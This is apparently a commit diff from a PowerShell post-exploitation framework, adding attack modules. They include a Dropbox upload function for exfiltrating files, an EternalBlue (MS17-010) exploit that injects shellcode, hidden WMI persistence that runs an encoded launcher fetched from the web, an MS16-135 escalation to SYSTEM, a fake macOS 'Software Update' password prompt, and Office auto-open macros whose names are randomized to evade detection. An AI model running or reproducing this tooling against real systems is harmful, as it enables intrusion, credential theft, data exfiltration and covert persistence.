'Background': False,
# File extension to save the file as
'OutputExtension': None,
# True if the module needs admin rights to run
'NeedsAdmin': False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe': True,
# The language for this module
'Language': 'powershell',
# The minimum PowerShell version needed for the module to run
'MinLanguageVersion': '2',
# List of any references/other comments
'Comments': [
'Uploads specified file to dropbox ',
'Ported to powershell2 from script by Laurent Kempe: http://laurentkempe.com/2016/04/07/Upload-files-to-DropBox-from-PowerShell/',
'Use forward slashes for the TargetFilePath'
]
}
# Any options needed by the module, settable during runtime
self.options = {
# Format:
# value_name : {description, required, default_value}
'Agent': {
# The 'Agent' option is the only one that MUST be in a module
'Description': 'Agent to use',
'Required' : True,
'Value' : ''
},
'SourceFilePath': {
'Description': '/path/to/file',
'Required' : True,
'Value' : ''
},
'TargetFilePath': {
'Description': '/path/to/dropbox/file',
'Required': True,
'Value': ''
},
'ApiKey': {
'Description': 'Your dropbox api key',
'Required': True,
'Value': ''
}
}
# Save off a copy of the mainMenu object to access external
# functionality like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters are passed as
# an object set to the module and the options dictionary is
# automatically set. This is mostly in case options are passed on
# the command line.
if params:
for param in params:
# Parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
script = """
function Invoke-DropboxUpload {
Param(
[Parameter(Mandatory=$true)]
[string]$SourceFilePath,
[Parameter(Mandatory=$true)]
[string]$TargetFilePath,
[Parameter(mandatory=$true)]
[string]$ApiKey
)
$url = "https://content.dropboxapi.com/2/files/upload"
$file = [IO.File]::ReadAllBytes($SourceFilePath)
[net.httpWebRequest] $req = [net.webRequest]::create($url)
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
$authorization = "Bearer " + $ApiKey
$req.method = "POST"
$req.Headers.Add("Authorization", $authorization)
$req.Headers.Add("Dropbox-API-Arg", $arg)
$req.ContentType = 'application/octet-stream'
$req.ContentLength = $file.length
$req.TimeOut = 50000
$req.KeepAlive = $true
$req.Headers.Add("Keep-Alive: 300");
$reqst = $req.getRequestStream()
$reqst.write($file, 0, $file.length)
$reqst.flush()
$reqst.close()
[net.httpWebResponse] $res = $req.getResponse()
$resst = $res.getResponseStream()
$sr = new-object IO.StreamReader($resst)
$result = $sr.ReadToEnd()
$result
$res.close()
}
Invoke-DropboxUpload """
# Add any arguments to the end execution of the script
for option, values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
return script

View File

@ -0,0 +1,108 @@
import re
from lib.common import helpers
import pdb
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-EternalBlue',
'Author': ['Sean Dillon <sean.dillon [at] risksense.com>','Dylan Davis <dylan.davis [at] risksense.com>'
'Equation Group', 'kdick@tevora.com (e0x70i)'],
'Description': ("Port of MS17_010 Metasploit module to powershell. "
"Exploits targeted system and executes specified shellcode. "
"Windows 7 and 2008 R2 supported. "
"Potential for a BSOD "),
'Background': False,
'OutputExtension': None,
'NeedsAdmin': False,
'OpsecSafe': False,
'Language': 'powershell',
'MinLanguageVersion': '2',
'Comments': [
'https://github.com/RiskSense-Ops/MS17-010',
'https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue',
'http://threat.tevora.com/eternal-blues/'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent': {
'Description': 'Agent to run module on.',
'Required': True,
'Value': ''
},
'Target': {
'Description': 'IP or Hostname of target ',
'Required': True,
'Value': ''
},
'MaxAttempts': {
'Description': 'Number of times to try exploit (increment grooms by 5 each time)',
'Required': True,
'Value': '1'
},
'InitialGrooms': {
'Description': 'Number of Initial Grooms',
'Required': True,
'Value': '12'
},
'Shellcode': {
'Description': 'Custom shellcode to inject, 0xaa,0xab,... format.',
'Required': True,
'Value': ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-EternalBlue.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += "\nInvoke-EternalBlue "
for option, values in self.options.iteritems():
if values['Value'] and values['Value'] != '':
if option.lower() == "shellcode":
# transform the shellcode to the correct format
script += " -" + str(option) + " @(" + str(values['Value']) + ")"
else:
script += " -" + str(option) + " " + str(values['Value'])
script += "; 'Exploit complete'"
return script

View File

@ -0,0 +1,201 @@
import os
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-WMI',
'Author': ['@mattifestation', '@harmj0y', '@tristandostaler'],
'Description': ('Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : True,
'OpsecSafe' : False,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Launcher' : {
'Description' : 'Launcher string.',
'Required' : True,
'Value' : 'powershell -noP -sta -w 1 -enc '
},
#'Listener' : {
# 'Description' : 'Listener to use.',
# 'Required' : False,
# 'Value' : ''
#},
'DailyTime' : {
'Description' : 'Daily time to trigger the script (HH:mm).',
'Required' : False,
'Value' : ''
},
'AtStartup' : {
'Description' : 'Switch. Trigger script (within 5 minutes) of system startup.',
'Required' : False,
'Value' : 'True'
},
'SubName' : {
'Description' : 'Name to use for the event subscription.',
'Required' : True,
'Value' : 'AutoUpdater'
},
'ExtFile' : {
'Description' : 'Use an external file for the payload instead of a stager.',
'Required' : False,
'Value' : ''
},
'Cleanup' : {
'Description' : 'Switch. Cleanup the trigger and any script from specified location.',
'Required' : False,
'Value' : ''
},
'WebFile' : {
'Description' : 'The location of the launcher.bat file to fetch over the network/web',
'Required' : True,
'Value' : 'http://127.0.0.1/launcher.bat'
}
#'UserAgent' : {
# 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
# 'Required' : False,
# 'Value' : 'default'
#},
#'Proxy' : {
# 'Description' : 'Proxy to use for request (default, none, or other).',
# 'Required' : False,
# 'Value' : 'default'
#},
#'ProxyCreds' : {
# 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
# 'Required' : False,
# 'Value' : 'default'
#}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
#listenerName = self.options['Listener']['Value']
launcher_prefix = self.options['Launcher']['Value']
# trigger options
dailyTime = self.options['DailyTime']['Value']
atStartup = self.options['AtStartup']['Value']
subName = self.options['SubName']['Value']
# management options
extFile = self.options['ExtFile']['Value']
cleanup = self.options['Cleanup']['Value']
webFile = self.options['WebFile']['Value']
# staging options
#userAgent = self.options['UserAgent']['Value']
#proxy = self.options['Proxy']['Value']
#proxyCreds = self.options['ProxyCreds']['Value']
statusMsg = ""
locationString = ""
if cleanup.lower() == 'true':
# commands to remove the WMI filter and subscription
script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;"
script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;"
script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
script += "'WMI persistence removed.'"
return script
if extFile != '':
# read in an external file as the payload and build a
# base64 encoded version as encScript
if os.path.exists(extFile):
f = open(extFile, 'r')
fileData = f.read()
f.close()
# unicode-base64 encode the script for -enc launching
encScript = helpers.enc_powershell(fileData)
statusMsg += "using external file " + extFile
else:
print helpers.color("[!] File does not exist: " + extFile)
return ""
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher_fetcher(language='powershell', encode=True, webFile=webFile, launcher=launcher_prefix)
encScript = launcher.split(" ")[-1]
statusMsg += "using launcher_fetcher"
# sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
if len(encScript) > 8190:
print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.")
return ""
# built the command that will be triggered
triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript
if dailyTime != '':
parts = dailyTime.split(":")
if len(parts) < 2:
print helpers.color("[!] Please use HH:mm format for DailyTime")
return ""
hour = parts[0]
minutes = parts[1]
# create the WMI event filter for a system time
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
statusMsg += " WMI subscription daily trigger at " + dailyTime + "."
else:
# create the WMI event filter for OnStartup
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
statusMsg += " with OnStartup WMI subsubscription trigger."
# add in the event consumer to launch the encrypted script contents
script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"
# bind the filter and event consumer together
script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"
script += "'WMI persistence established "+statusMsg+"'"
return script

View File

@ -0,0 +1,105 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-MS16135',
'Author': ['@TinySecEx', '@FuzzySec', 'ThePirateWhoSmellsOfSunflowers (github)'],
'Description': ('Spawns a new Listener as SYSTEM by'
' leveraging the MS16-135 local exploit. This exploit is for x64 only'
' and only works on unlocked session.'
' Note: the exploit performs fast windows switching, victim\'s desktop'
' may flash. A named pipe is also created.'
' Thus, opsec is not guaranteed'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : False,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'Credit to TinySec (@TinySecEx) for the initial PoC and',
'to Ruben Boonen (@FuzzySec) for PowerShell PoC',
'https://github.com/tinysec/public/tree/master/CVE-2016-7255',
'https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135',
'https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html'
]
}
self.options = {
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
self.mainMenu = mainMenu
if params:
for param in params:
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16135.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
# generate the launcher code without base64 encoding
l = self.mainMenu.stagers.stagers['multi/launcher']
l.options['Listener']['Value'] = self.options['Listener']['Value']
l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
l.options['Proxy']['Value'] = self.options['Proxy']['Value']
l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
l.options['Base64']['Value'] = 'False'
launcherCode = l.generate()
# need to escape characters
launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'")
script += 'Invoke-MS16135 -Command "' + launcherCode + '"'
script += ';`nInvoke-MS16135 completed.'
return script

View File

@ -37,6 +37,21 @@ class Module:
'Required' : True,
'Value' : ''
},
'ComputerName' : {
'Description' : 'Array of one or more computers to enumerate',
'Required' : False,
'Value' : ''
},
'ComputerADSpath' : {
'Description' : 'The LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
'Required' : False,
'Value' : ''
},
'UserADSPath' : {
'Description' : 'The LDAP source to search through for users/groups, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
@ -48,7 +63,7 @@ class Module:
'Value' : ''
},
'CollectionMethod' : {
'Description' : "The method to collect data. 'Group', 'LocalGroup', 'GPOLocalGroup', 'Sesssion', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'.",
'Description' : "The method to collect data. 'Group', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'.",
'Required' : True,
'Value' : 'Default'
},
@ -60,22 +75,42 @@ class Module:
'CSVFolder' : {
'Description' : 'The CSV folder to use for output, defaults to the current folder location.',
'Required' : False,
'Value' : ''
'Value' : '$(Get-Location)'
},
'CSVPrefix' : {
'Description' : 'A prefix for all CSV files.',
'Required' : False,
'Value' : ''
},
'URI' : {
'Description' : 'The BloodHound neo4j URL location (http://host:port/)',
'Required' : False,
'Value' : ''
},
'UserPass' : {
'Description' : 'The "user:password" for the BloodHound neo4j instance',
'Required' : False,
'Value' : ''
},
'GlobalCatalog' : {
'Description' : 'The global catalog location to resolve user memberships from.',
'Required' : False,
'Value' : ''
},
'SkipGCDeconfliction' : {
'Description' : 'Switch. Skip global catalog enumeration for session deconfliction',
'Required' : False,
'Value' : ''
},
'Threads' : {
'Description' : 'The maximum concurrent threads to execute.',
'Required' : True,
'Value' : '20'
},
'Throttle' : {
'Description' : 'The number of cypher queries to queue up for neo4j RESTful API ingestion.',
'Required' : True,
'Value' : '1000'
}
}

View File

@ -58,6 +58,12 @@ class Module:
'Description' : 'Switch. List applications suitable for launching.',
'Required' : False,
'Value' : ''
},
'SandboxMode' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Switch. Launch a sandbox safe prompt',
'Required' : False,
'Value' : ''
}
}
@ -80,7 +86,7 @@ class Module:
listApps = self.options['ListApps']['Value']
appName = self.options['AppName']['Value']
sandboxMode = self.options['SandboxMode']['Value']
if listApps != "":
script = """
import os
@ -94,8 +100,16 @@ print '\\n'.join(choices)
"""
else:
# osascript prompt for the specific application
script = """
if sandboxMode != "":
# osascript prompt for the current application with System Preferences icon
script = """
import os
print os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon file "Applications:System Preferences.app:Contents:Resources:PrefApp.icns" with hidden answer with title "Software Update"\\\'').read()
"""
else:
# osascript prompt for the specific application
script = """
import os
print os.popen('osascript -e \\\'tell app "%s" to activate\\\' -e \\\'tell app "%s" to display dialog "%s requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "%s Alert"\\\'').read()
""" % (appName, appName, appName, appName)

View File

@ -1,4 +1,5 @@
from lib.common import helpers
import random, string
class Stager:
@ -96,29 +97,31 @@ class Stager:
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
Str = ''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName))))
Method=''.join(random.choice(string.letters) for i in range(random.randint(1,len(listenerName))))
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
chunks = list(helpers.chunks(launcher.replace("'", "\\'"), 50))
payload = "\tDim Str As String\n"
payload += "\tstr = '" + str(chunks[0]) + "'\n"
payload = "\tDim "+Str+" As String\n"
payload += "\t"+Str+" = '" + str(chunks[0]) + "'\n"
for chunk in chunks[1:]:
payload += "\tstr = str + '" + str(chunk) + "'\n"
payload += "\t"+Str+" = "+Str+" + '" + str(chunk) + "'\n"
macro = "Sub Auto_Open()\n"
macro += "\tDebugging\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"
macro = "Sub AutoOpen()\n"
macro += "\tDebugging\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"
macro += "Sub Document_Open()\n"
macro += "\tDebugging\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"
macro += "Public Function Debugging() As Variant\n"
macro += "Public Function "+Method+"() As Variant\n"
macro += payload
macro += "\tConst HIDDEN_WINDOW = 0\n"
macro += "\tstrComputer = \".\"\n"
@ -127,7 +130,7 @@ class Stager:
macro += "\tSet objConfig = objStartup.SpawnInstance_\n"
macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n"
macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n"
macro += "\tobjProcess.Create str, Null, objConfig, intProcessID\n"
macro += "\tobjProcess.Create "+Str+", Null, objConfig, intProcessID\n"
macro += "End Function\n"
return macro

View File

@ -6,7 +6,8 @@
#openssl req -new -key ./data/empire.key -out ./data/empire.csr
#openssl x509 -req -days 365 -in ./data/empire.csr -signkey ./data/empire.key -out ./data/empire.crt
#openssl req -new -x509 -keyout ../data/empire.pem -out ../data/empire.pem -days 365 -nodes
openssl req -new -x509 -keyout ../data/empire.pem -out ../data/empire.pem -days 365 -nodes -subj "/C=US" >/dev/null 2>&1
#openssl req -new -x509 -keyout ../data/empire-priv.key -out ../data/empire-chain.pem -days 365 -nodes
openssl req -new -x509 -keyout ../data/empire-priv.key -out ../data/empire-chain.pem -days 365 -nodes -subj "/C=US" >/dev/null 2>&1
echo -e "\n\n [*] Certificate written to ../data/empire.pem\n"
echo -e "\n [*] Certificate written to ../data/empire-chain.pem"
echo -e "\r [*] Private key written to ../data/empire-priv.key\n"

View File

@ -15,7 +15,7 @@ fi
version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 )
if lsb_release -d | grep -q "Fedora"; then
Release=Fedora
dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl-dev
dnf install -y make g++ python-devel m2crypto python-m2ext swig python-iptools python3-iptools libxml2-devel default-jdk openssl-devel libssl1.0-dev
pip install setuptools
pip install pycrypto
pip install iptools
@ -29,7 +29,7 @@ if lsb_release -d | grep -q "Fedora"; then
pip install netifaces
elif lsb_release -d | grep -q "Kali"; then
Release=Kali
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0-dev
pip install setuptools
pip install pycrypto
pip install iptools
@ -58,7 +58,7 @@ elif lsb_release -d | grep -q "Kali"; then
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
elif lsb_release -d | grep -q "Ubuntu"; then
Release=Ubuntu
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl-dev
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libssl1.0-dev
pip install setuptools
pip install pycrypto
pip install iptools
@ -88,7 +88,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
cp -r ../lib/powershell/Invoke-Obfuscation /usr/local/share/powershell/Modules
else
echo "Unknown distro - Debian/Ubuntu Fallback"
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl-dev
apt-get install -y make g++ python-dev python-m2crypto swig python-pip libxml2-dev default-jdk libffi-dev libssl1.0-dev
pip install setuptools
pip install pycrypto
pip install iptools

View File

@ -140,7 +140,6 @@ c.execute('''CREATE TABLE "listeners" (
"options" blob
)''')
# type = hash, plaintext, token
# for krbtgt, the domain SID is stored in misc
# for tokens, the data is base64'ed and stored in pass
@ -156,7 +155,6 @@ c.execute('''CREATE TABLE "credentials" (
"notes" text
)''')
c.execute( '''CREATE TABLE "taskings" (
"id" integer,
"data" text,
@ -179,8 +177,8 @@ c.execute('''CREATE TABLE "reporting" (
"message" text,
"time_stamp" text,
"taskID" integer,
foreign key("taskID") references results(id)
)''')
FOREIGN KEY(taskID) REFERENCES results(id)
)''')
# commit the changes and close everything off
conn.commit()